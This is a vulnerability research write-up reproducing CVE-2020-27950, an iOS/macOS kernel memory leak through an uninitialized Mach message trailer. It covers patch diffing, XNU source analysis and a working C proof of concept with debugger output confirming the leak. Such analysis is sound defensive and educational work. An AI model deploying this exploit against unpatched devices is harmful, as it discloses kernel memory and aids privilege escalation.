CVE-2020-27950: Kernel Memory Leak via an Uninitialized Mach Message Trailer
About the author. I’m Colin Xiao — an independent reverse engineer, mostly working solo on contract jobs. I dig into compiled code of every kind, including but not limited to: Android and iOS apps, x86/x64/ARM native binaries, packers and obfuscators, DRM and license checks, network protocols and APIs, crypto and signature algorithms, malware, game binaries, and embedded/IoT firmware. I also handle large-scale data collection and vulnerability research. If you have any project in mind, I’d be glad to take it on — whatever it is, as long as it’s within my wheelhouse. Just reach out. You can reach me on X at @colinxiao_lab or on Telegram at https://t.me/ColinXiao666.
This research is published for educational and defensive purposes. The target sample is anonymized throughout.
CVE-2020-27950: Kernel Memory Leak via an Uninitialized Mach Message Trailer
This is a from-scratch reproduction of CVE-2020-27950, an iOS/macOS kernel memory disclosure. Apple’s advisory sums it up:
Available for: macOS High Sierra 10.13.6, macOS Mojave 10.14.6
Impact: A malicious application may be able to disclose kernel memory. Apple is aware of reports that an exploit for this issue exists in the wild.
Description: A memory initialization issue was addressed.
CVE-2020-27950: Google Project Zero
I reconstructed the bug following the Synacktiv writeup (iOS 1-day hunting: uncovering and exploiting CVE-2020-27950 kernel memory leak), and took the patch-diffing route — my first time reverse-engineering an iOS kernel bug through BinDiff patch comparison. It was more painful than expected; if you know a cleaner workflow, I’d genuinely like to hear it.
Environment
I diffed two iPhone 6 firmware builds:
- Vulnerable: iOS 12.4.8 (16G201)
- Patched: iOS 12.4.9 (16H5)
Both .ipsw files are just ZIP archives:
➜ ~ file *.ipsw
iPhone_4.7_12.4.8_16G201_Restore.ipsw: Zip archive data, at least v2.0 to extract
iPhone_4.7_12.4.9_16H5_Restore.ipsw: Zip archive data, at least v2.0 to extract
Extracting them, kernelcache.release.iphone7 is the compressed kernel binary:
➜ iPhone_4.7_12.4.8_16G201_Restore ls -al
total 6012560
drwxr-xr-x@ 9 wnagzihxa1n staff 288 Jan 2 19:41 .
drwxr-xr-x 7 wnagzihxa1n staff 224 Jan 2 19:42 ..
-rw-r--r--@ 1 wnagzihxa1n staff 2874835794 Jan 9 2007 038-60223-004.dmg
-rw-r--r--@ 1 wnagzihxa1n staff 93846555 Jan 9 2007 038-60285-004.dmg
-rw-r--r--@ 1 wnagzihxa1n staff 91602971 Jan 9 2007 038-60305-004.dmg
-rw-r--r--@ 1 wnagzihxa1n staff 128367 Jan 9 2007 BuildManifest.plist
drwxr-xr-x@ 10 wnagzihxa1n staff 320 Jan 9 2007 Firmware
-rw-r--r--@ 1 wnagzihxa1n staff 985 Jan 9 2007 Restore.plist
-rw-r--r--@ 1 wnagzihxa1n staff 14061377 Jan 9 2007 kernelcache.release.iphone7
The iPhone 6 kernel cache uses LZSS compression:
➜ iPhone_4.7_12.4.8_16G201_Restore xxd -a kernelcache.release.iphone7 | head -n 10
00000000: 3083 d68f 3c16 0449 4d34 5016 046b 726e 0...<..IM4P..krn
00000010: 6c16 1e4b 6572 6e65 6c43 6163 6865 4275 l..KernelCacheBu
00000020: 696c 6465 722d 3134 3639 2e32 3630 2e31 ilder-1469.260.1
00000030: 3504 83d6 8f0b 636f 6d70 6c7a 7373 025a 5.....complzss.Z
00000040: b99c 01ae f208 00d5 cd8b 0000 0001 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
*
000001b0: 0000 0000 0000 ffcf faed fe0c 0000 01d5 ................
000001c0: 00f6 f002 f6f0 16f6 f058 115a f3f1 20f6 .........X.Z.. .
000001d0: f100 19f6 f028 faf0 3f5f 5f54 4558 5409 .....(..?__TEXT.
I decompressed it with lzssdec:
➜ lzssdec wget http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
➜ lzssdec g++ lzssdec.cpp -o lzssdec
➜ iPhone_4.7_12.4.8_16G201_Restore ./lzssdec -o 0x1b6 < kernelcache.release.iphone7 > kernelcache.release.iphone7.bin
Do the same for the patched build, and both kernel caches are ready:
➜ iPhone_4.7_12.4.8_16G201_Restore file kernelcache.release.iphone7.bin
kernelcache.release.iphone7.bin: Mach-O 64-bit executable arm64
➜ iPhone_4.7_12.4.9_16H5_Restore file kernelcache.release.iphone7.bin
kernelcache.release.iphone7.bin: Mach-O 64-bit executable arm64
Diffing the patch
The diff tool here is BinDiff (now at version 6). One environment quirk: on macOS the BinDiff binary needs a symlink before it will run:
➜ ~ sudo ln -s /Applications/BinDiff/BinDiff.app/Contents/MacOS/bin/bindiff /Applications/BinDiff/BinDiff.app/Contents/app/bindiff
I loaded both binaries into IDA 7.5, produced the .idb files, and ran BinDiff on the pair:

Symbol recovery for the kernel cache was its own multi-day detour — I documented that separately in a writeup on restoring kernelcache symbols.
Diffing kc_12.4.8 against kc_12.4.9 yields eight changed functions. Five of them received the exact same added snippet:
__TEXT_EXEC:__text:FFFFFFF00768E4C4 MOV W1, #0x44 ; 'D'
__TEXT_EXEC:__text:FFFFFFF00768E4C8 MOV X0, X20
__TEXT_EXEC:__text:FFFFFFF00768E4CC BL sub_FFFFFFF00766D6C0
__TEXT_EXEC:__text:FFFFFFF00768E4D0 MOV W23, #0
Cross-referencing those five functions against a symbol-leaked kc_symbols via BinDiff recovered two correct names; a third had a recognizable string and turned out to be ipc_kobject_server(). Two remained unnamed:
| kc_12.4.8_func_name | kc_12.4.9_func_name | Similarity | bindiff_symbol | true_symbol |
|---|---|---|---|---|
| sub_FFFFFFF00768E3AC | sub_FFFFFFF00768E3BC | 0.58 | _ipc_kmsg_get_from_kernel | ipc_kmsg_get_from_kernel |
| sub_FFFFFFF00768E164 | sub_FFFFFFF00768E164 | 0.96 | _ipc_kmsg_get | ipc_kmsg_get |
| sub_FFFFFFF0076A7824 | sub_FFFFFFF0076A7840 | 0.13 | _mach_gss_accept_sec_context_v2 | |
| sub_FFFFFFF0076BE438 | sub_FFFFFFF0076BE470 | 0.11 | _ipc_port_send_turnstile_prepare | ipc_kobject_server |
| sub_FFFFFFF0076BF8C8 | sub_FFFFFFF0076BF90C | 0.28 | _ptmx_get_ioctl |
Looking up the called sub_FFFFFFF00766D6C0 in the patch confirms it’s bzero():

The fix: a missing bzero()
Now on the same footing as the original researchers, I went to the XNU source. The latest xnu-7195.50.7.100.1 had just been open-sourced, alongside an older xnu-6153.141.1:
- https://opensource.apple.com/tarballs/xnu/xnu-7195.50.7.100.1.tar.gz
- https://opensource.apple.com/tarballs/xnu/xnu-6153.141.1.tar.gz
Comparing the two, the patched version adds one line:
bzero(trailer, sizeof(*trailer));
Vulnerable on the left, patched on the right:

The patched variable trailer is of type mach_msg_max_trailer_t, itself a typedef of mach_msg_mac_trailer_t:
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
mach_msg_max_trailer_t *trailer;
Near the mach_msg_mac_trailer_t definition sit two macros — MACH_MSG_TRAILER_MINIMUM_SIZE and MAX_TRAILER_SIZE — bounding the largest and smallest trailer sizes, which leads to mach_msg_trailer_t:
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
mach_msg_filter_id msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
The largest trailer carries several fields and is 0x44 bytes; the minimum trailer has only two fields and is 0x08 bytes.
Mach messages, ports, and trailers
Before tracing the code, the background that makes this bug click.
Mach is the core of the XNU kernel, implementing the fundamentals: process/thread abstraction, virtual memory, scheduling, and inter-process communication via messages. BSD sits on top, providing the network stack, filesystem, device access, and so on.
In Mach, a Message travels between two Ports. Messages come in two flavors — simple and complex — where complex messages carry more field data. A Port is essentially a kernel message queue: the task that creates a Port holds the receive right, and any other task that acquires a send right can send messages to it.
Sending and receiving go through mach_msg(), which exists in both user and kernel space:
extern mach_msg_return_t mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);
A basic message is a Message Header plus a Message Body, optionally followed by a trailer:
typedef struct{
mach_msg_header_t header;
mach_msg_body_t body;
} mach_msg_base_t;
typedef struct{
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
typedef struct{
mach_msg_size_t msgh_descriptor_count;
} mach_msg_body_t;
From a developer’s perspective, here’s the full send/receive round-trip (see also the Mach ports guide).
Creating a receiver port and waiting for a message
First allocate a port:
mach_port_t port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
Grab the send right for it:
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
Register it with the system so other processes can look it up by name:
bootstrap_register(bootstrap_port, "com.wnagzihxa1n.port", port);
Then block on mach_msg() to receive:
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // (mach_msg_header_t *) &message
MACH_RCV_MSG, // receive
0, // send size
sizeof(message), // receive size
port, // port to receive on
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
Note the trailer here: it can be appended to the tail of a message as an extra request. The trailer is not counted in the header’s msgh_size — it carries its own length field, msgh_trailer_size. This example uses the minimum empty trailer:
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
Getting the sender port and sending to it
Look up the named port:
mach_port_t port;
bootstrap_look_up(bootstrap_port, "com.wnagzihxa1n.port", &port);
Build the message:
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 1337;
And send it (note the second argument):
kr = mach_msg(
&message.header, // (mach_msg_header_t *) &message
MACH_SEND_MSG, // send
sizeof(message), // send size
0, // receive size
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
That’s the full send/receive flow. To exercise the trailer, swap mach_msg_trailer_t for mach_msg_security_trailer_t and add the trailer request bit:
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_security_trailer_t trailer;
} message;
kr = mach_msg(
&message.header,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_SENDER), // <-- trailer request bit
0,
sizeof(message),
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
On receipt, the sender’s identity is available:
printf("Sender's user id is %u\nSender's user group is %u\n",
message.trailer.msgh_sender.val[0],
message.trailer.msgh_sender.val[1]);
// Sender's user id is 501
// Sender's user group is 20
// ➜ id
// uid=501(wnagzihxa1n) gid=20(staff) groups=20(staff)
The point: a port’s receiver can ask the kernel to attach extra data when calling mach_msg(). The kernel honors a set of option flags in mach_msg()’s second argument:
/* The options that the kernel honors when passed from user space */
#define MACH_SEND_USER (
MACH_SEND_MSG |
MACH_SEND_TIMEOUT |
MACH_SEND_NOTIFY |
MACH_SEND_OVERRIDE |
MACH_SEND_TRAILER |
MACH_SEND_NOIMPORTANCE |
MACH_SEND_SYNC_OVERRIDE |
MACH_SEND_PROPAGATE_QOS |
MACH_SEND_SYNC_BOOTSTRAP_CHECKIN |
MACH_MSG_STRICT_REPLY |
MACH_RCV_GUARDED_DESC)
#define MACH_RCV_USER (
MACH_RCV_MSG |
MACH_RCV_TIMEOUT |
MACH_RCV_LARGE |
MACH_RCV_LARGE_IDENTITY |
MACH_RCV_VOUCHER |
MACH_RCV_TRAILER_MASK |
MACH_RCV_SYNC_WAIT |
MACH_RCV_SYNC_PEEK |
MACH_RCV_GUARDED_DESC |
MACH_MSG_STRICT_REPLY)
Tracing the bug: ipc_kmsg_get()
Following mach_msg() down: it calls mach_msg_trap(), which calls mach_msg_overwrite_trap():
mach_msg_return_t
mach_msg_trap(
struct mach_msg_overwrite_trap_args *args)
{
kern_return_t kr;
args->rcv_msg = (mach_vm_address_t)0;
kr = mach_msg_overwrite_trap(args);
return kr;
}
There are two paths of interest: MACH_RCV_MSG and MACH_SEND_MSG.
On the send path (MACH_SEND_MSG), ipc_kmsg_get() allocates the kernel buffer and copies the message in from user space:
mach_msg_return_t
mach_msg_overwrite_trap(
struct mach_msg_overwrite_trap_args *args)
{
mach_vm_address_t msg_addr = args->msg;
mach_msg_option_t option = args->option; // mach_msg() second arg
...
mach_msg_return_t mr = MACH_MSG_SUCCESS;
vm_map_t map = current_map();
/* Only accept options allowed by the user */
option &= MACH_MSG_OPTION_USER;
if (option & MACH_SEND_MSG) {
ipc_space_t space = current_space();
ipc_kmsg_t kmsg; // kmsg variable
// allocate the buffer and copy message data from user space
mr = ipc_kmsg_get(msg_addr, send_size, &kmsg);
// convert ports from user-space names to kernel addresses
mr = ipc_kmsg_copyin(kmsg, space, map, override, &option);
// send the message
mr = ipc_kmsg_send(kmsg, option, msg_timeout);
}
if (option & MACH_RCV_MSG) {
...
}
return MACH_MSG_SUCCESS;
}
ipc_kmsg_get() is the vulnerable function. ipc_kmsg_t is the kernel-side message structure; the copy flow is annotated below:
mach_msg_return_t
ipc_kmsg_get(
mach_vm_address_t msg_addr,
mach_msg_size_t size,
ipc_kmsg_t *kmsgp)
{
mach_msg_size_t msg_and_trailer_size;
ipc_kmsg_t kmsg;
mach_msg_max_trailer_t *trailer;
mach_msg_legacy_base_t legacy_base;
mach_msg_size_t len_copied;
legacy_base.body.msgh_descriptor_count = 0;
// length parameter checks
// mach_msg_legacy_base_t is the same size as mach_msg_base_t
if (size == sizeof(mach_msg_legacy_header_t)) {
len_copied = sizeof(mach_msg_legacy_header_t);
} else {
len_copied = sizeof(mach_msg_legacy_base_t);
}
// copy the message in from user space
if (copyinmsg(msg_addr, (char *)&legacy_base, len_copied)) {
return MACH_SEND_INVALID_DATA;
}
// kernel-side message start address
msg_addr += sizeof(legacy_base.header);
// add the maximum trailer size up front — we don't yet know
// which trailer type the receiver will request, so reserve for the largest
// typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
// #define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
msg_and_trailer_size = size + MAX_TRAILER_SIZE;
// allocate kernel memory
kmsg = ipc_kmsg_alloc(msg_and_trailer_size);
// initialize parts of kmsg.ikm_header
// copy the message body (trailer excluded)
if (copyinmsg(msg_addr, (char *)(kmsg->ikm_header + 1), size - (mach_msg_size_t)sizeof(mach_msg_header_t))) {
ipc_kmsg_free(kmsg);
return MACH_SEND_INVALID_DATA;
}
// locate the trailer at the tail of the kmsg by size, and initialize it
// note its msgh_trailer_size is set to the minimum MACH_MSG_TRAILER_MINIMUM_SIZE
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_labels.sender = 0;
*kmsgp = kmsg;
return MACH_MSG_SUCCESS;
}
Here’s the first half of the bug: ipc_kmsg_get() types the trailer as mach_msg_max_trailer_t and allocates kmsg sized for the maximum trailer, but only initializes three fields. Everything else is left as whatever the freshly allocated kernel page contained:
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_labels.sender = 0;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
mach_msg_filter_id msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
The sizing logic: ipc_kmsg_add_trailer()
On the receive path (MACH_RCV_MSG), mach_msg_overwrite_trap() calls mach_msg_receive_results() to read the message:
mach_msg_return_t
mach_msg_overwrite_trap(
struct mach_msg_overwrite_trap_args *args)
{
// basic setup
mach_vm_address_t msg_addr = args->msg;
mach_msg_option_t option = args->option; // mach_msg() second arg
...
mach_msg_return_t mr = MACH_MSG_SUCCESS;
vm_map_t map = current_map();
/* Only accept options allowed by the user */
option &= MACH_MSG_OPTION_USER;
// send branch
if (option & MACH_SEND_MSG) {
...
}
// receive branch — this is the one we care about
if (option & MACH_RCV_MSG) {
thread_t self = current_thread();
ipc_space_t space = current_space();
ipc_object_t object;
ipc_mqueue_t mqueue;
mr = ipc_mqueue_copyin(space, rcv_name, &mqueue, &object);
// set the receive buffer address
if (rcv_msg_addr != (mach_vm_address_t)0) {
self->ith_msg_addr = rcv_msg_addr;
} else {
self->ith_msg_addr = msg_addr;
}
// stash the important parameters in the thread's global struct
self->ith_object = object;
self->ith_rsize = rcv_size;
self->ith_msize = 0;
self->ith_option = option;
self->ith_receiver_name = MACH_PORT_NULL;
self->ith_continuation = thread_syscall_return;
self->ith_knote = ITH_KNOTE_NULL;
// dequeue the message
// Purpose: Receive a message from a message queue.
ipc_mqueue_receive(mqueue, option, rcv_size, msg_timeout, THREAD_ABORTSAFE);
if ((option & MACH_RCV_TIMEOUT) && msg_timeout == 0) {
thread_poll_yield(self);
}
// read the message
return mach_msg_receive_results(NULL);
}
return MACH_MSG_SUCCESS;
}
mach_msg_receive_results() reads the message and, on success, calls ipc_kmsg_add_trailer():
mach_msg_return_t
mach_msg_receive_results(
mach_msg_size_t *sizep)
{
// basic setup
thread_t self = current_thread();
ipc_space_t space = current_space();
vm_map_t map = current_map();
mach_msg_trailer_size_t trailer_size;
mach_msg_size_t size = 0;
/*
* unlink the special_reply_port before releasing reference to object.
* get the thread's turnstile, if the thread donated it's turnstile to the port
*/
mach_msg_receive_results_complete(object);
io_release(object);
/* auto redeem the voucher in the message */
ipc_voucher_receive_postprocessing(kmsg, option);
// determine the trailer type and compute its length
trailer_size = ipc_kmsg_add_trailer(kmsg, space, option, self, seqno, FALSE,
kmsg->ikm_header->msgh_remote_port->ip_context);
mr = ipc_kmsg_copyout(kmsg, space, map, MACH_MSG_BODY_NULL, option);
if (mr != MACH_MSG_SUCCESS) {
...
} else {
/* capture ksmg QoS values to the thread continuation state */
self->ith_qos = kmsg->ikm_qos;
self->ith_qos_override = kmsg->ikm_qos_override;
// hand the message to user space
// the trailer_size computed by ipc_kmsg_add_trailer() is used here
mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);
}
if (sizep) {
*sizep = size;
}
return mr;
}
ipc_kmsg_add_trailer() holds the whole kmsg, but the final trailer is still shaped by the sender’s definition; it then rewrites msgh_trailer_size dynamically based on what the receiver requested:
mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
mach_msg_option_t option, thread_t thread,
mach_port_seqno_t seqno, boolean_t minimal_trailer,
mach_vm_offset_t context)
{
// default to the maximum trailer type
mach_msg_max_trailer_t *trailer;
#ifdef __arm64__
// stack-local tmp_trailer
mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */
// kmsg trailer start address
void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
((vm_offset_t)kmsg->ikm_header +
mach_round_msg(kmsg->ikm_header->msgh_size));
// copy the kmsg trailer into tmp_trailer
// read the maximum length MAX_TRAILER_SIZE here, matching the send logic
bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE);
trailer = &tmp_trailer;
#else /* __arm64__ */
(void)thread;
trailer = (mach_msg_max_trailer_t *)
((vm_offset_t)kmsg->ikm_header +
mach_round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */
// per ipc_kmsg_get(): trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
// without MACH_RCV_TRAILER_MASK, just return the minimum trailer size
// (that flag means the trailer type is mach_msg_trailer_t, whose size is
// the sender's default MACH_MSG_TRAILER_MINIMUM_SIZE)
// #define MACH_RCV_TRAILER_MASK ((0xf << 24))
if (!(option & MACH_RCV_TRAILER_MASK)) {
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
// compute msgh_trailer_size with REQUESTED_TRAILER_SIZE
// the logic: on the send side the maximum trailer space is reserved and
// msgh_trailer_size is set to the minimum; on arrival, the receiver's
// trailer request rewrites msgh_trailer_size dynamically
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
if (minimal_trailer) {
goto done;
}
// if the element count is below 7, don't initialize this field
// #define MACH_RCV_TRAILER_AV 7
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
}
The REQUESTED_TRAILER_SIZE_NATIVE macro matches the requested element count against each trailer struct size:
#define REQUESTED_TRAILER_SIZE_NATIVE(y) \
((mach_msg_trailer_size_t) \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ? \
sizeof(mach_msg_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ? \
sizeof(mach_msg_seqno_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ? \
sizeof(mach_msg_security_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ? \
sizeof(mach_msg_audit_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ? \
sizeof(mach_msg_context_trailer_t) : \
((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ? \
sizeof(mach_msg_mac_trailer_t) : \
sizeof(mach_msg_max_trailer_t))))))))
At first glance the computation looks fine. But what happens when we pass a value like 5 or 6 that isn’t in the mapping?
#define MACH_RCV_TRAILER_NULL 0 // mach_msg_trailer_t
#define MACH_RCV_TRAILER_SEQNO 1 // mach_msg_seqno_trailer_t
#define MACH_RCV_TRAILER_SENDER 2 // mach_msg_security_trailer_t
#define MACH_RCV_TRAILER_AUDIT 3 // mach_msg_audit_trailer_t
#define MACH_RCV_TRAILER_CTX 4 // mach_msg_context_trailer_t
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
Passing 5 produces the bit pattern 0b111000000000000000000000010, which still passes the MACH_RCV_TRAILER_MASK check (0b1111000000000000000000000000) — so 5 survives the flag test, but it matches no GET_RCV_ELEMENTS case above, falling through to sizeof(mach_msg_max_trailer_t).
Back in mach_msg_receive_results(), that trailer_size flows into ipc_kmsg_put(), which copies the message from kernel space to user space:
mr = ipc_kmsg_put(kmsg, option, rcv_addr, rcv_size, trailer_size, &size);
Watch the size used for the copy:
mach_msg_return_t
ipc_kmsg_put(
ipc_kmsg_t kmsg,
mach_msg_option_t option,
mach_vm_address_t rcv_addr,
mach_msg_size_t rcv_size,
mach_msg_size_t trailer_size,
mach_msg_size_t *sizep)
{
// total length = message length + trailer length
mach_msg_size_t size = kmsg->ikm_header->msgh_size + trailer_size;
mach_msg_return_t mr;
#if defined(__LP64__)
if (current_task() != kernel_task) { /* don't if receiver expects fully-cooked in-kernel msg; */
mach_msg_legacy_header_t *legacy_header =
(mach_msg_legacy_header_t *)((vm_offset_t)(kmsg->ikm_header) + LEGACY_HEADER_SIZE_DELTA);
mach_msg_bits_t bits = kmsg->ikm_header->msgh_bits;
mach_msg_size_t msg_size = kmsg->ikm_header->msgh_size;
mach_port_name_t remote_port = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_remote_port);
mach_port_name_t local_port = CAST_MACH_PORT_TO_NAME(kmsg->ikm_header->msgh_local_port);
mach_port_name_t voucher_port = kmsg->ikm_header->msgh_voucher_port;
mach_msg_id_t id = kmsg->ikm_header->msgh_id;
legacy_header->msgh_id = id;
legacy_header->msgh_local_port = local_port;
legacy_header->msgh_remote_port = remote_port;
legacy_header->msgh_voucher_port = voucher_port;
legacy_header->msgh_size = msg_size - LEGACY_HEADER_SIZE_DELTA;
legacy_header->msgh_bits = bits;
size -= LEGACY_HEADER_SIZE_DELTA;
kmsg->ikm_header = (mach_msg_header_t *)legacy_header;
}
#endif
/* Re-Compute target address if using stack-style delivery */
if (option & MACH_RCV_STACK) {
rcv_addr += rcv_size - size;
}
// copy the message out
if (copyoutmsg((const char *) kmsg->ikm_header, rcv_addr, size)) {
mr = MACH_RCV_INVALID_DATA;
size = 0;
} else {
mr = MACH_MSG_SUCCESS;
}
// free the kernel-side message structure
ipc_kmsg_free(kmsg);
if (sizep) {
*sizep = size;
}
return mr;
}
Summing it up: by setting mach_msg()’s second argument to MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), we force the maximum trailer->msgh_trailer_size and skip the initialization of trailer->msgh_ad — so whatever bytes sat in that freshly-allocated kernel buffer get copied straight out to user space.
Proof of concept
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#define MAGIC 0x416e7953 // 'SynA'
int main(int argc, char *argv[]) {
mach_port_t port;
int fd[2];
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
uint32_t *pipe_buff = malloc(1020);
for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
pipe_buff[i] = MAGIC;
pipe(fd);
write(fd[1], pipe_buff, 1020);
printf("[+] Creating kalloc.1024 ipc_kmsg\n");
mach_msg_base_t *message = NULL;
// size to fit in kalloc.1024, trust me, I'm an expert (c)
mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0);
message = malloc(message_size + MAX_TRAILER_SIZE);
memset(message, 0, message_size + MAX_TRAILER_SIZE);
message->header.msgh_size = message_size;
message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
message->body.msgh_descriptor_count = 0;
message->header.msgh_remote_port = port;
uint8_t *buffer;
buffer = malloc(message_size + MAX_TRAILER_SIZE);
printf("[+] Freeing controlled buffer\n");
close(fd[0]);
close(fd[1]);
printf("[+] Sending message\n");
mach_msg(&message->header,
MACH_SEND_MSG,
message_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
printf("[+] Now reading message back\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
message_size + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
printf("[+] Leaked value: %x\n", trailer->msgh_ad);
return 0;
}
I built this as a new iOS app in Xcode targeting the iPhone 6 on iOS 12.4 and dropped the PoC in:

Xcode’s struct parser tripped me up here — it mis-placed the 64-bit msgh_context after val[7] of msgh_audit. The value 4714839257292734464 is 0x416e795300000000; once I fixed the struct offsets, msgh_ad reads 0x416e7953 — our pre-placed magic value:
(lldb) p *(mach_msg_mac_trailer_t *)0x000000010fe00cdc
(mach_msg_mac_trailer_t) $11 = {
msgh_trailer_type = 0
msgh_trailer_size = 68
msgh_seqno = 0
msgh_sender = {
val = ([0] = 501, [1] = 501)
}
msgh_audit = {
val = ([0] = 4294967295, [1] = 501, [2] = 501, [3] = 501, [4] = 501, [5] = 605, [6] = 0, [7] = 1792)
}
msgh_context = 4714839257292734464
msgh_ad = 0
msgh_labels = (sender = 0)
}
(lldb) x/32x trailer
0x10fe00cdc: 0x00000000 0x00000044 0x00000000 0x000001f5
0x10fe00cec: 0x000001f5 0xffffffff(val[0]) 0x000001f5(val[1]) 0x000001f5(val[2])
0x10fe00cfc: 0x000001f5(val[3]) 0x000001f5(val[4]) 0x0000025d(val[5]) 0x00000000(val[6])
0x10fe00d0c: 0x00000700(val[7]) 0x00000000 0x00000000 0x416e7953(msgh_ad)
0x10fe00d1c: 0x00000000(msgh_labels) 0x00000000 0xf0000000 0x00000000
Kernel memory disclosure confirmed.
Where this leads
One loose end worth flagging: since all five changed functions received the identical fix, all five share the same bug shape. Searching for a single line is enough to find every one of them:
trailer->msgh_trailer_type =

The natural next question — how to steer this raw leak into disclosing something useful rather than a magic value we planted ourselves — is a follow-up in its own right. That’s where this reproduction stops and the exploit-development phase begins.
Colin Xiao — I take on contract reverse-engineering work, and writeups like this are how I show what I can do. If you need help with anything in this space — including but not limited to the areas I cover above — I’m available. No project is too big or too small — if it’s reverse engineering and I can do it, I’ll take it. DM me on X (@colinxiao_lab) or Telegram (@ColinXiao666).
Get in touch